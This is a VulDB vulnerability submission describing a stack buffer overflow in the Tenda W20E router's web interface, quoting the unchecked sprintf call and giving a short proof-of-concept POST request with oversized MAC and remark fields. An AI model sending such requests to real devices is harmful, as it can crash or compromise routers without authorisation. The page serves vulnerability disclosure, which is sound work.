提出 #868931: Tenda W20E US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC.bin Buffer Overflow

A buffer overflow vulnerability was discovered in Tenda W20E V4.0br_V15.11.0.6. Attackers can exploit this vulnerability by specifying the values of wifiFilterListDeviceMAC and wifiFilterListRemark. When these values are passed to modifyWifiFilterRules and formatted into the fixed-size sMibValue buffer by sprintf without length validation, it may cause a buffer overflow.

Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/modifyWifiFilterRules.

In modifyWifiFilterRules, attacker-controlled values are read from the HTTP request:
pRuleMac = websGetVar((Webs_1 *)wp, "wifiFilterListDeviceMAC", defaultGetValue__5);
pRuleDesc = websGetVar((Webs_1 *)wp, "wifiFilterListRemark", defaultGetValue__5);

The destination buffer is a fixed-size stack buffer:
char sMibValue[128];

The user-controlled values are formatted into sMibValue without length validation:
sprintf(sMibValue, "%s;%s;%s", pRuleMac, sRuleEn, pRuleDesc);

Because sprintf writes attacker-controlled wifiFilterListDeviceMAC and wifiFilterListRemark values into the fixed-size sMibValue stack buffer, overly long values can overflow the buffer and corrupt adjacent stack memory.

Conceptual proof-of-concept request:
POST /goform/modifyWifiFilterRules HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded

wifiFileterListIndex=0&wifiFilterListDeviceMAC=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&wifiFilterListRemark=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

• ソース: ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/W20E/2.md
• ユーザー: stksgg (UID 97520)
• 送信: 2026年06月25日 09:13 (2 月 ago)
• モデレーション: 2026年08月14日 07:26 (2 months later)
• ステータス: 重複
• VulDBエントリ: 369144 [Tenda W20E 15.11.0.6 Web Management Interface modifyWifiFilterRules wifiFilterListRemark メモリ破損]
• ポイント: 0